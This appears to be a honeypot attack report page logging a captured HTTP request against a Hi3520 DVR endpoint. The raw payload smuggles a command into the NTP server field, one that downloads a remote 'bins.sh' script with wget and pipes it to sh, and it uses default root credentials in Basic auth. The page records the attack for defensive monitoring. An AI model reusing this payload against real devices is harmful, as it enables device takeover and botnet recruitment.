Attack Report for Detail

Header

Time

2023/05/17, 06:42:15 (GMT)

Transaction ID

US17O11S9U6M48JU

Service

http

Location

HR (Croatia)

Attacker

45.95.169.240

Classification

Web structure control

Harm Potential

Medium

Description

Web application structure control

Content

POST /dvr/cmd HTTP/1.1
Host: 46.4.222.114
Accept-Encoding: gzip, deflate
Content-Length: 331
Authorization: Basic cm9vdDppY2F0Y2g5OQ==
User-Agent: Abcd

<?xml version="1.0" encoding="UTF-8"?><DVR Platform="Hi3520"><SetConfiguration File="service.xml"><![CDATA[<?xml version="1.0" encoding="UTF-8"?><DVR Platform="Hi3520"><Service><NTP Enable="True" Interval="20000" Server="time.nist.gov&wget -O- http://141.98.6.145/bins.sh|sh;echo DONE"/></Service></DVR>]]></SetConfiguration></DVR>

All details are coming from honeypot central database.

Please share your wishes, opinions and suggestions with us:

If you like, you can support
with your donations to us..

Donate